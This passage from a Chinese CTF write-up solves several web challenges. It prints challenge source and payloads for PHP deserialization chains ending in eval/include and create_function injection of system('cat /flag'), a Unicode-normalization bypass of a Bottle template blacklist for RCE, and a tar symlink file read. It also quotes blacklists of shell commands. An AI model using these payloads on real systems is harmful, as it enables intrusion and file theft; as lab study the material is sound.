  }
}

class anna {
  public $var6;
  public $var7;

  public function __toString() {
    $long = @$this-&amp;gt;var6-&amp;gt;add();
    return $long;
  }

  public function __set($arg1, $arg2) {
    if ($this-&amp;gt;var7-&amp;gt;tt2) {
      echo &quot;yamada yamada&quot;;
    }
  }
}

class eenndd {
  public $command;

  public function __get($arg1) {
    if (preg_match(&quot;/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i&quot;, $this-&amp;gt;command)){
      echo &quot;nonono&quot;;
    }else {
      eval($this-&amp;gt;command);
    }
  }
}

class flaag {
  public $var10;
  public $var11=&quot;1145141919810&quot;;

  public function __invoke() {
    if (md5(md5($this-&amp;gt;var11)) == 666) {
      return $this-&amp;gt;var10-&amp;gt;hey;
    }
  }
}


if (isset($_POST[&apos;ISCTF&apos;])) {
  unserialize($_POST[&quot;ISCTF&quot;]);
}else {
  highlight_file(__FILE__);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;给payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  class begin
{
  public $var1;
public $var2;
}
class starlord
{
  public $var4;
  public $var5;
  public $arg1;
}
class anna
{
  public $var6;
  public $var7;
}
class eenndd
{
  public $command;
}
class flaag
{
  public $var10;
  public $var11 = &quot;1145141919810&quot;;
}

$v = new eenndd();
$v -&amp;gt; command = &apos;include$_GET[s];&apos;;

$o = new flaag();
$o -&amp;gt;var11 = &apos;213&apos;;
$o -&amp;gt; var10 = $v;

$k = new starlord();
$k -&amp;gt;var4 =$o;

$a = new anna();
$a -&amp;gt;var6 = $k;

$be = new begin();
$be -&amp;gt; var1 = $a;



$c = serialize($be);
echo $c;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;二次传参，解决&lt;/p&gt;
&lt;h1&gt;1.2两题&lt;/h1&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;h2&gt;b@by n0t1ce b0ard&lt;/h2&gt;
&lt;p&gt;这题给了CVE，照着cve一步步来然后简单代码审计就出了，就是/registration.php这个路由下能上传文件，然后导致木马可被上传，然后简单拼接路径就没了，附个图过了喵喵&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/7.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;难过的bottle&lt;/h2&gt;
&lt;p&gt;源码有个黑名单&lt;/p&gt;
&lt;p&gt;BLACKLIST = [&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;%&quot;,&quot;;&quot;,&quot;,&quot;,&quot;&amp;lt;&quot;,&quot;&amp;gt;&quot;,&quot;:&quot;,&quot;?&quot;]&lt;/p&gt;
&lt;p&gt;下面有模板渲染，直接打源码给你&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil


# hint: flag is in /flag

UPLOAD_DIR = &apos;uploads&apos;
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024  # 1MB

BLACKLIST = [&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;%&quot;,&quot;;&quot;,&quot;,&quot;,&quot;&amp;lt;&quot;,&quot;&amp;gt;&quot;,&quot;:&quot;,&quot;?&quot;]

def contains_blacklist(content):
    &quot;&quot;&quot;检查内容是否包含黑名单中的关键词（不区分大小写）&quot;&quot;&quot;
    content = content.lower()
    return any(black_word in content for black_word in BLACKLIST)

def safe_extract_zip(zip_path, extract_dir):
    &quot;&quot;&quot;安全解压ZIP文件（防止路径遍历攻击）&quot;&quot;&quot;
    with zipfile.ZipFile(zip_path, &apos;r&apos;) as zf:
        for member in zf.infolist():
            member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
            if not member_path.startswith(os.path.realpath(extract_dir)):
                raise ValueError(&quot;非法文件路径: 路径遍历攻击检测&quot;)

            zf.extract(member, extract_dir)

@route(&apos;/&apos;)
def index():
    &quot;&quot;&quot;首页&quot;&quot;&quot;
    return &apos;&apos;&apos;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;ZIP文件查看器&amp;lt;/title&amp;gt;
    &amp;lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/static/css/style.css&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;header text-center&quot;&amp;gt;
        &amp;lt;div class=&quot;container&quot;&amp;gt;
            &amp;lt;h1 class=&quot;display-4 fw-bold&quot;&amp;gt;📦 ZIP文件查看器&amp;lt;/h1&amp;gt;
            &amp;lt;p class=&quot;lead&quot;&amp;gt;安全地上传和查看ZIP文件内容&amp;lt;/p&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;container&quot;&amp;gt;
        &amp;lt;div class=&quot;row justify-content-center&quot; id=&quot;index-page&quot;&amp;gt;
            &amp;lt;div class=&quot;col-md-8 text-center&quot;&amp;gt;
                &amp;lt;div class=&quot;card&quot;&amp;gt;
                    &amp;lt;div class=&quot;card-body p-5&quot;&amp;gt;
                        &amp;lt;div class=&quot;emoji-icon&quot;&amp;gt;📤&amp;lt;/div&amp;gt;
                        &amp;lt;h2 class=&quot;card-title&quot;&amp;gt;轻松查看ZIP文件内容&amp;lt;/h2&amp;gt;
                        &amp;lt;p class=&quot;card-text&quot;&amp;gt;上传ZIP文件并安全地查看其中的内容，无需解压到本地设备&amp;lt;/p&amp;gt;
                        &amp;lt;div class=&quot;mt-4&quot;&amp;gt;
                            &amp;lt;a href=&quot;/upload&quot; class=&quot;btn btn-primary btn-lg px-4 me-3&quot;&amp;gt;
                                📁 上传ZIP文件
                            &amp;lt;/a&amp;gt;
                            &amp;lt;a href=&quot;#features&quot; class=&quot;btn btn-outline-secondary btn-lg px-4&quot;&amp;gt;
                                ℹ️ 了解更多
                            &amp;lt;/a&amp;gt;
                        &amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;row mt-5&quot; id=&quot;features&quot;&amp;gt;
            &amp;lt;div class=&quot;col-md-4 mb-4&quot;&amp;gt;
                &amp;lt;div class=&quot;card h-100&quot;&amp;gt;
                    &amp;lt;div class=&quot;card-body text-center p-4&quot;&amp;gt;
                        &amp;lt;div class=&quot;emoji-icon&quot;&amp;gt;🛡️&amp;lt;/div&amp;gt;
                        &amp;lt;h4&amp;gt;安全检测&amp;lt;/h4&amp;gt;
                        &amp;lt;p&amp;gt;系统会自动检测上传文件，防止路径遍历攻击和恶意内容&amp;lt;/p&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class=&quot;col-md-4 mb-4&quot;&amp;gt;
                &amp;lt;div class=&quot;card h-100&quot;&amp;gt;
    &amp;lt;div class=&quot;card-body text-center p-4&quot;&amp;gt;
                        &amp;lt;div class=&quot;emoji-icon&quot;&amp;gt;📄&amp;lt;/div&amp;gt;
                        &amp;lt;h4&amp;gt;内容预览&amp;lt;/h4&amp;gt;
                        &amp;lt;p&amp;gt;直接在线查看ZIP文件中的文本内容，无需下载&amp;lt;/p&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class=&quot;col-md-4 mb-4&quot;&amp;gt;
                &amp;lt;div class=&quot;card h-100&quot;&amp;gt;
                    &amp;lt;div class=&quot;card-body text-center p-4&quot;&amp;gt;
                        &amp;lt;div class=&quot;emoji-icon&quot;&amp;gt;⚡&amp;lt;/div&amp;gt;
                        &amp;lt;h4&amp;gt;快速处理&amp;lt;/h4&amp;gt;
                        &amp;lt;p&amp;gt;高效处理小于1MB的ZIP文件，快速获取内容&amp;lt;/p&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
    &apos;&apos;&apos;

@route(&apos;/upload&apos;)
def upload_page():
    &quot;&quot;&quot;上传页面&quot;&quot;&quot;
    return &apos;&apos;&apos;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;上传ZIP文件&amp;lt;/title&amp;gt;
    &amp;lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/static/css/style.css&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;header text-center&quot;&amp;gt;
        &amp;lt;div class=&quot;container&quot;&amp;gt;
            &amp;lt;h1 class=&quot;display-4 fw-bold&quot;&amp;gt;📦 ZIP文件查看器&amp;lt;/h1&amp;gt;
            &amp;lt;p class=&quot;lead&quot;&amp;gt;安全地上传和查看ZIP文件内容&amp;lt;/p&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class=&quot;container mt-4&quot;&amp;gt;
        &amp;lt;div class=&quot;row justify-content-center&quot;&amp;gt;
            &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;
                &amp;lt;div class=&quot;card&quot;&amp;gt;
                    &amp;lt;div class=&quot;card-header bg-primary text-white&quot;&amp;gt;
                        &amp;lt;h4 class=&quot;mb-0&quot;&amp;gt;📤 上传ZIP文件&amp;lt;/h4&amp;gt;
                    &amp;lt;/div&amp;gt;
                    &amp;lt;div class=&quot;card-body&quot;&amp;gt;
                        &amp;lt;form action=&quot;/upload&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; class=&quot;upload-form&quot;&amp;gt;
                            &amp;lt;div class=&quot;mb-3&quot;&amp;gt;
                                &amp;lt;label for=&quot;fileInput&quot; class=&quot;form-label&quot;&amp;gt;选择ZIP文件（最大1MB）&amp;lt;/label&amp;gt;
                                &amp;lt;input class=&quot;form-control&quot; type=&quot;file&quot; name=&quot;file&quot; id=&quot;fileInput&quot; accept=&quot;.zip&quot; required&amp;gt;
                                &amp;lt;div class=&quot;form-text&quot;&amp;gt;仅支持.zip格式的文件，且文件大小不超过1MB&amp;lt;/div&amp;gt;
                            &amp;lt;/div&amp;gt;
                            &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary w-100&quot;&amp;gt;
                                📤 上传文件
                            &amp;lt;/button&amp;gt;
                        &amp;lt;/form&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class=&quot;text-center mt-4&quot;&amp;gt;
                    &amp;lt;a href=&quot;/&quot; class=&quot;btn btn-outline-secondary&quot;&amp;gt;
                        ↩️ 返回首页
                    &amp;lt;/a&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
    &apos;&apos;&apos;

@post(&apos;/upload&apos;)
def upload():
    &quot;&quot;&quot;处理文件上传&quot;&quot;&quot;
    zip_file = request.files.get(&apos;file&apos;)
    if not zip_file or not zip_file.filename.endswith(&apos;.zip&apos;):
        return &apos;请上传有效的ZIP文件&apos;
    
    zip_file.file.seek(0, 2)  
    file_size = zip_file.file.tell()
    zip_file.file.seek(0)  
    
    if file_size &amp;gt; MAX_FILE_SIZE:
        return f&apos;文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)&apos;
    
    timestamp = str(time.time())
    unique_str = zip_file.filename + timestamp
    dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
    os.makedirs(extract_dir, exist_ok=True)
    
    zip_path = os.path.join(extract_dir, &apos;uploaded.zip&apos;)
    zip_file.save(zip_path)
    
    try:
        safe_extract_zip(zip_path, extract_dir)
    except (zipfile.BadZipFile, ValueError) as e:
        shutil.rmtree(extract_dir) 
        return f&apos;处理ZIP文件时出错: {str(e)}&apos;
    
    files = [f for f in os.listdir(extract_dir) if f != &apos;uploaded.zip&apos;]
    
    return template(&apos;&apos;&apos;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;上传成功&amp;lt;/title&amp;gt;
    &amp;lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/static/css/style.css&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;header text-center&quot;&amp;gt;
        &amp;lt;div class=&quot;container&quot;&amp;gt;
            &amp;lt;h1 class=&quot;display-4 fw-bold&quot;&amp;gt;📦 ZIP文件查看器&amp;lt;/h1&amp;gt;
            &amp;lt;p class=&quot;lead&quot;&amp;gt;安全地上传和查看ZIP文件内容&amp;lt;/p&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;div class=&quot;container mt-4&quot;&amp;gt;
        &amp;lt;div class=&quot;row justify-content-center&quot;&amp;gt;
            &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;
                &amp;lt;div class=&quot;card&quot;&amp;gt;
                    &amp;lt;div class=&quot;card-header bg-success text-white&quot;&amp;gt;
                        &amp;lt;h4 class=&quot;mb-0&quot;&amp;gt;✅ 上传成功!&amp;lt;/h4&amp;gt;
                    &amp;lt;/div&amp;gt;
                    &amp;lt;div class=&quot;card-body&quot;&amp;gt;
                        &amp;lt;div class=&quot;alert alert-success&quot; role=&quot;alert&quot;&amp;gt;
                            ✅ 文件已成功上传并解压
                        &amp;lt;/div&amp;gt;

                        &amp;lt;h5&amp;gt;文件列表:&amp;lt;/h5&amp;gt;
                        &amp;lt;ul class=&quot;list-group mb-4&quot;&amp;gt;
                            % for file in files:
                            &amp;lt;li class=&quot;list-group-item d-flex justify-content-between align-items-center&quot;&amp;gt;
                                &amp;lt;span&amp;gt;📄 {{file}}&amp;lt;/span&amp;gt;
                                &amp;lt;a href=&quot;/view/{{dir_hash}}/{{file}}&quot; class=&quot;btn btn-sm btn-outline-primary&quot;&amp;gt;
                                    查看
                                &amp;lt;/a&amp;gt;
                            &amp;lt;/li&amp;gt;
                            % end
                        &amp;lt;/ul&amp;gt;

                        % if files:
                        &amp;lt;div class=&quot;d-grid gap-2&quot;&amp;gt;
                            &amp;lt;a href=&quot;/view/{{dir_hash}}/{{files[0]}}&quot; class=&quot;btn btn-primary&quot;&amp;gt;
                                👀 查看第一个文件
                            &amp;lt;/a&amp;gt;
                        &amp;lt;/div&amp;gt;
                        % end
                    &amp;lt;/div&amp;gt;
                &amp;lt;/div&amp;gt;

                &amp;lt;div class=&quot;text-center mt-4&quot;&amp;gt;
                    &amp;lt;a href=&quot;/upload&quot; class=&quot;btn btn-outline-primary me-2&quot;&amp;gt;
                        ➕ 上传另一个文件
                    &amp;lt;/a&amp;gt;
                    &amp;lt;a href=&quot;/&quot; class=&quot;btn btn-outline-secondary&quot;&amp;gt;
                        🏠 返回首页
                    &amp;lt;/a&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
    &apos;&apos;&apos;, dir_hash=dir_hash, files=files)

@route(&apos;/view/&amp;lt;dir_hash&amp;gt;/&amp;lt;filename:path&amp;gt;&apos;)
def view_file(dir_hash, filename):
    file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
    
    if not os.path.exists(file_path):
        return &quot;文件不存在&quot;
    
    if not os.path.isfile(file_path):
        return &quot;请求的路径不是文件&quot;
    
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        return &quot;非法访问尝试&quot;
    
    try:
        with open(file_path, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
            content = f.read()
    except:
        try:
            with open(file_path, &apos;r&apos;, encoding=&apos;latin-1&apos;) as f:
                content = f.read()
        except:
            return &quot;无法读取文件内容（可能是二进制文件）&quot;
    
    if contains_blacklist(content):
        return &quot;文件内容包含不允许的关键词&quot;
    
    try:
        return template(content)
    except Exception as e:
        return f&quot;渲染错误: {str(e)}&quot;

@route(&apos;/static/&amp;lt;filename:path&amp;gt;&apos;)
def serve_static(filename):
    &quot;&quot;&quot;静态文件服务&quot;&quot;&quot;
    return static_file(filename, root=&apos;static&apos;)

@error(404)
def error404(error):
    return &quot;讨厌啦不是说好只看看不摸的吗&quot;

@error(500)
def error500(error):
    return &quot;不要透进来啊啊啊啊&quot;

if __name__ == &apos;__main__&apos;:
    os.makedirs(&apos;static&apos;, exist_ok=True)
    
    #原神，启动!
    run(host=&apos;0.0.0.0&apos;, port=5000, debug=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大致是上传了一个zip，然后def一个函数检查一下zip有没有包含黑名单的字符，如果没有就解压之后去模板渲染，因为黑名单防得比较死，黑名单防了基本所有的字符，以及模板变量赋值等，但是防止的是ASCII的世界，但是python有个特性是自动归化，所以直接打 Unicode  字符，直接RCE。&lt;/p&gt;
&lt;h1&gt;Bypass&lt;/h1&gt;
&lt;p&gt;直接上源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this-&amp;gt;a = $a;
$this-&amp;gt;b = $b;
$this-&amp;gt;check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this-&amp;gt;a;
$b = (string)$this-&amp;gt;b;
if ($this-&amp;gt;check($a,$b)){
$a(&quot;&quot;, $b);
}
else{
echo &quot;Try again!&quot;;
}
}
private function check($a, $b) {
$blocked_a = [&apos;eval&apos;, &apos;dl&apos;, &apos;ls&apos;, &apos;p&apos;, &apos;escape&apos;, &apos;er&apos;, &apos;str&apos;, &apos;cat&apos;, &apos;flag&apos;, &apos;file&apos;, &apos;ay&apos;, &apos;or&apos;, &apos;ftp&apos;, &apos;dict&apos;, &apos;\.\.&apos;, &apos;h&apos;, &apos;w&apos;, &apos;exec&apos;, &apos;s&apos;, &apos;open&apos;];
$blocked_b = [&apos;find&apos;, &apos;filter&apos;, &apos;c&apos;, &apos;pa&apos;, &apos;proc&apos;, &apos;dir&apos;, &apos;regexp&apos;, &apos;n&apos;, &apos;alter&apos;, &apos;load&apos;, &apos;grep&apos;, &apos;o&apos;, &apos;file&apos;, &apos;t&apos;, &apos;w&apos;, &apos;insert&apos;, &apos;sort&apos;, &apos;h&apos;, &apos;sy&apos;, &apos;\.\.&apos;, &apos;array&apos;, &apos;sh&apos;, &apos;touch&apos;, &apos;e&apos;, &apos;php&apos;, &apos;f&apos;];

$pattern_a = &apos;/&apos; . implode(&apos;|&apos;, array_map(&apos;preg_quote&apos;, $blocked_a, [&apos;/&apos;])) . &apos;/i&apos;;
$pattern_b = &apos;/&apos; . implode(&apos;|&apos;, array_map(&apos;preg_quote&apos;, $blocked_b, [&apos;/&apos;])) . &apos;/i&apos;;

if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}  
}


if (isset($_GET[&apos;exp&apos;])) {
$p = unserialize($_GET[&apos;exp&apos;]);
var_dump($p);
}else{
highlight_file(&quot;index.php&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的__construct是没法触发的，触发点是 $a(&quot;&quot;, $b);，$a是函数名，$b是第二个参数，看到配置文件发现php的版本是php:7.1.30，这个版本有一个函数还没被ban，那就是 create_function，因为这个create_function(&apos;&apos;,&apos;xx&apos;)等于eval(&quot;function λ() { payload_here }&quot;);然后$b是}system(&apos;cat /flag&apos;)然后八进制转义直接出了，因为八进制是可以在php被直接解析的。&lt;/p&gt;
&lt;h1&gt;来签个到吧(小反序列)&lt;/h1&gt;
&lt;p&gt;给了附件，看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ($_SERVER[&quot;REQUEST_METHOD&quot;] === &quot;POST&quot;) {
    $s = $_POST[&quot;shark&quot;] ?? &apos;喵喵喵?&apos;;

    if (str_starts_with($s, &quot;blueshark:&quot;)) {
        $ss = substr($s, strlen(&quot;blueshark:&quot;));

        $o = @unserialize($ss);

        $p = $db-&amp;gt;prepare(&quot;INSERT INTO notes (content) VALUES (?)&quot;);
        $p-&amp;gt;execute([$ss]);

        echo &quot;save sucess!&quot;;
        exit(0);
    } else {
        echo &quot;喵喵喵?&quot;;
        exit(1);
    }
}
&amp;lt;?php
require_once &quot;./config.php&quot;;
require_once &quot;./classes.php&quot;;

$id = $_GET[&quot;id&quot;] ?? &apos;喵喵喵?&apos;;

$s = $db-&amp;gt;prepare(&quot;SELECT content FROM notes WHERE id = ?&quot;);
$s-&amp;gt;execute([$id]);
$row = $s-&amp;gt;fetch(PDO::FETCH_ASSOC);

if (! $row) {
    die(&quot;喵喵喵?&quot;);
}

$cfg = unserialize($row[&quot;content&quot;]);

if ($cfg instanceof ShitMountant) {
    $r = $cfg-&amp;gt;fetch();
    echo &quot;ok!&quot; . &quot;&amp;lt;br&amp;gt;&quot;;
    echo nl2br(htmlspecialchars($r));
}
else {
    echo &quot;喵喵喵?&quot;;
}
?&amp;gt;
&amp;lt;?php
class FileLogger {
    public $logfile = &quot;/tmp/notehub.log&quot;;
    public $content = &quot;&quot;;

    public function __construct($f=null) {
        if ($f) {
            $this-&amp;gt;logfile = $f;
        }
    }

    public function write($msg) {
        $this-&amp;gt;content .= $msg . &quot;\n&quot;;
        file_put_contents($this-&amp;gt;logfile, $this-&amp;gt;content, FILE_APPEND);
    }

    public function __destruct() {
        if ($this-&amp;gt;content) {
            file_put_contents($this-&amp;gt;logfile, $this-&amp;gt;content, FILE_APPEND);
        }
    }
}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this-&amp;gt;url = $url;
        $this-&amp;gt;logger = new FileLogger();
    }

    public function fetch() {
        $c = file_get_contents($this-&amp;gt;url);
        if ($this-&amp;gt;logger) {
            $this-&amp;gt;logger-&amp;gt;write(&quot;fetched ==&amp;gt; &quot; . $this-&amp;gt;url);
        }
        return $c;
    }

    public function __destruct() {
        $this-&amp;gt;fetch();
    }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;叙述步骤，在index.php里接受shark参数，并且将它插入字段，并且删去前缀blueshark，然后插入字段名content,这样这个content在api有用，然后看api路由，这里的content本=被反序列化，然后下面有个检测，如果这个$cfg反序列化return的结果是ShitMountant类的实例，然后看class.php，我们要调用的是fetch方法去读flag，我们手搓一下payload的php代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  class ShitMountant{
  public $url;
public $logger;
}

$o=new ShitMountant();
$o-&amp;gt;url = &apos;/flag&apos;;
$o-&amp;gt;logger=&apos;null&apos;;

echo serialize($o);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我看了看一个注意的地方，如果logger值不是null而是Null那么logger值会被当成字符串然后下面if成功调用，然后在Null里找不到write方法就会报错，所以会直接终止并不会返回$c数据。&lt;/p&gt;
&lt;p&gt;ok直接反序列化上传直接回显flag.结束&lt;/p&gt;
&lt;h1&gt;flag？我就借走了&lt;/h1&gt;
&lt;p&gt;这题开始是这个界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/8.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到这个能解压，还是tar，利用软链接带出文件，直接拿到flag&lt;/p&gt;
&lt;p&gt;命令是ln -s 源文件或目录 链接名称&lt;/p&gt;
&lt;h1&gt;Who am I&lt;/h1&gt;
&lt;p&gt;开头给了这个界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;爆破没用，抓包尝试SQL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /login HTTP/1.1
Host: challenge.bluesharkinfo.com:28459
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://challenge.bluesharkinfo.com:28459
Connection: keep-alive
Referer: http://challenge.bluesharkinfo.com:28459/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=adminww&amp;amp;password=123wwwww&amp;amp;type=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现这个包有个type字段，正常登录注册是没用的如果更改type字段会有个报错，来看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/10.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;暴露可疑路径/272e1739b89da32e983970ece1a086bd，访问一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/11.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功进入后台，接下来是代码审计&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=&apos;&apos;

@app.route(&apos;/&apos;,methods=[&apos;GET&apos;])
def index():
    return render_template(&apos;login.html&apos;)

@app.route(&apos;/register&apos;,methods=[&apos;GET&apos;])
def register():
    return render_template(&apos;register.html&apos;)

@app.route(&apos;/registerV2&apos;,methods=[&apos;POST&apos;])
def registerV2():
    username=request.form[&apos;username&apos;]
    password=request.form[&apos;password&apos;]
    password2=request.form[&apos;password2&apos;]
    if password!=password2:
        return &apos;&apos;&apos;
        &amp;lt;script&amp;gt;
        alert(&apos;前后密码不一致，请确认后重新输入。&apos;);
        window.location.href=&apos;/register&apos;;
        &amp;lt;/script&amp;gt;
        &apos;&apos;&apos;
    else:
        global data_index
        data_index+=1
        database[data_index]=username
        database[username]=password
        return redirect(url_for(&apos;index&apos;))

@app.route(&apos;/user_dashboard&apos;,methods=[&apos;GET&apos;])
def user_dashboard():
    return render_template(&apos;dashboard.html&apos;)

@app.route(&apos;/272e1739b89da32e983970ece1a086bd&apos;,methods=[&apos;GET&apos;])
def A272e1739b89da32e983970ece1a086bd():
    return render_template(&apos;admin.html&apos;)

@app.route(&apos;/operate&apos;,methods=[&apos;GET&apos;])
def operate():
    username=request.args.get(&apos;username&apos;)
    password=request.args.get(&apos;password&apos;)
    confirm_password=request.args.get(&apos;confirm_password&apos;)
    if username in globals() and &quot;old&quot; not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return &quot;oprate success&quot;
        except:
            return &quot;oprate failed&quot;
    else:
